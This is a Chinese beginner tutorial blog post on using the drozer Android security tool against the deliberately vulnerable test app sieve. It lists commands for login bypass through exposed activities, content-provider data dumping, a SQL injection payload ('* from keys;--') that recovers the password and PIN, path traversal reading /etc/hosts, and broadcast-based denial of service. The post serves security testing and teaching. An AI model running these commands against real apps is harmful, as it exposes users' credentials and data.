Drozer的安装和使用教程(入门)

这篇文章主要是对于app组件安全测试工具drozer的一个入门使用介绍,针对初入小白和记性很差的自己-0-

drozer是一款针对Android系统的安全测试工具,分成两个部分:

“console”:运行在本地计算机上,类似于控制台;

“agent”:是一个安装在终端上的代理app。

  • 安装

目前网上的安装步骤很多也很详细,我这边就不多做赘述,只写一些注意点吧,避免踩坑或者找不到。

  1. 运行环境需要python2.7、jdk1.7
  2. PC端和移动端交互时需要adb命令,所以需要安装adb工具

注:adb下载和配置:

SDK Platform Tools 版本说明  |  Android 开发者  |  Android Developers

安装好后可以配置环境变量,这样可以更为方便的使用

 

 

直接将配置好的变量名配在Path中,然后检查是否安装和配置成功。

  • 使用

2.1、这里我们用模拟器代替手机来进行app检测,所以将drozer的agent部分安装在模拟器中(类似于安装了个app)。

注:这里向模拟器中安装app可以有两个方法,一个是通过adb命令来安装: adb install 安装包(带路径);另外一个就是直接把要安装的app直接拖到模拟器界面中即可,这点是跟手机端安装有点区别的。

这里还需要一个测试用的apk包:sieve.apk

链接:

百度网盘 请输入提取码 ,提取码:gr12(这里是别人分享的,我自己也用的这个)

 

2.2、连接夜神模拟器

adb connect 127.0.0.1:62001(夜神模拟器默认端口为62001)

adb devices(查看链接的设备)

 如此说明连接成功。

2.3、PC端运行drozer

drozer目录下运行cmd,然后进行转发并连接

adb forward  tcp:31415  tcp:31415(就是将PC端31415收到的数据转发给终端的agent默认监听的31415端口)

drozer.bat console connect(连接终端agent)

注:1、可能部分人执行连接会报错,大概率可能性是没有把模拟器或者手机端的agent打开

2、终端agent打开后,还要注意转发端口是否已经开启

都准备好后,PC端执行命令,如下表示已经连接成功

  • 实测

3.1、根据app名称得到app的包名

run aap.package.list -f sieve

 

3.2、查看应用的信息

run aap.package.info -a com.mwr.example.sieve

 

Application Label: app名称

Process Name: 运行该app的进程名称

Version: 版本号

Data Directory: 该app相关数据的存储路径

APK Path: app真正的package文件所在路径

UID: app关联的用户ID

GID:组ID

Shared Libraries:app使用的共享库

Shared User ID: 可以使用该app的共享用户的ID

Uses Permissions:权限列表

Defines Permissions:自定义权限

3.3、识别攻击面

run app.package.attacksurface com.mwr.example.sieve

 

根据攻击面检测展示可知四大组件分别有多少是对外暴露的,并且该app是可调试的

3.4、针对暴露位置进行攻击

准备攻击前,先打开sieve这个app,设置下密码和pin值,方便后续的测试。

 

3.4.1、测试activity的暴露点

Activity暴露容易造成界面绕过等风险。

显示暴露的activity的信息

run app.activity.info -a com.mwr.example.sieve

 

根据展示的信息,因为该app打开之后需要登陆才可以。但是发现上面展示的除了一个类似登陆的界面以外还有两个界面,并且没有设置权限,由此可能存在绕过登陆的风险。

生成intent中间件尝试拉起PWList和FileSelectActivity两个界面

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity

发现PWList界面是一个存放登陆密码的地方,这样就可以获取登陆密码了。

3.4.2测试provider的暴露点

Provider的暴露容易造成数据库泄露或者SQL注入等风险。

显示暴露的provider的信息

run app.provider.info -a com.mwr.example.sieve

尝试枚举存在的uri

run app.provider.finduri com.mwr.example.sieve

 

使用扫描枚举可以访问的uri

run scanner.provider.finduris -a com.mwr.example.sieve

根据结果发现可以访问的有三个,逐个尝试访问uri

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

经观察,发现泄露了一些数据。

进行sql注入检查:

扫描器扫描存在注入点的uri

run scanner.provider.injection -a com.mwr.example.sieve

对发现的注入点进行SQL注入尝试

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “’”

根据提示可能存在keys表,尝试查询其中数据

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “* from keys;--”

得到了sieve的登陆界面的密码和设置的PIN码

检测目录遍历:

扫描器扫描存在目录遍历的uri

run scanner.provider.traversal -a com.mwr.example.sieve

检测到存在目录遍历,尝试进行遍历

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../etc/hosts

另外还可以直接下载可遍历的文件

默认是下载到drozer目录下

3.4.3测试service的暴露点

Service的暴露容易导致敏感信息泄露,并可能受到权限提升、拒绝服务等风险

获取app中service详情

run app.service.info -a com.mwr.example.sieve

 

根据结果发现,service命名表现得像是权限和加密的服务没有设置权限,存在漏洞

尝试与暴露的且没有权限的service做交互

拉起服务

run app.service.start --action com.mwr.example.sieve.AuthService --component com.mwr.example.sieve com.mwr.example.sieve.AuthService

尝试交互传参

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 1 2 3

可见当某些服务对外暴露且没有设置权限就会可能被外部轻易拉起,传入有风险的参数,获取敏感信息或提权,或者一直发送错误参数和请求导致拒绝服务。

3.4.4测试broadcast的暴露点

broadcast的暴露容易导致敏感信息泄露,并可能受到权限绕过、拒绝服务

获取broadcast receivers信息

run app.broadcast.info -a com.mwr.example.sieve

发现该app没有receivers信息,通过反编译该apk检查manifest文件发现确实没有配置

broadcast的风险点跟service类似,如果存在暴露也可以通过发送广播来获取响应

发送广播

run app.broadcast.send --component <package name> <component name> --extra <type> <key> <value>

嗅探广播的数据

run app.broadcast.sniff --action <action>

恶意发送不完整的intent或者空extras广播包导致拒绝服务

un app.broadcast.send --component <package name> <component name>

这边具体由于sieve没有广播组件,所以未展示出来命令执行效果。

结语:这是本人第一次开始总结一些东西,主要是也可以防止自己记性不太好,以后的文章都会尽量写的详细,希望都有用处吧~

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值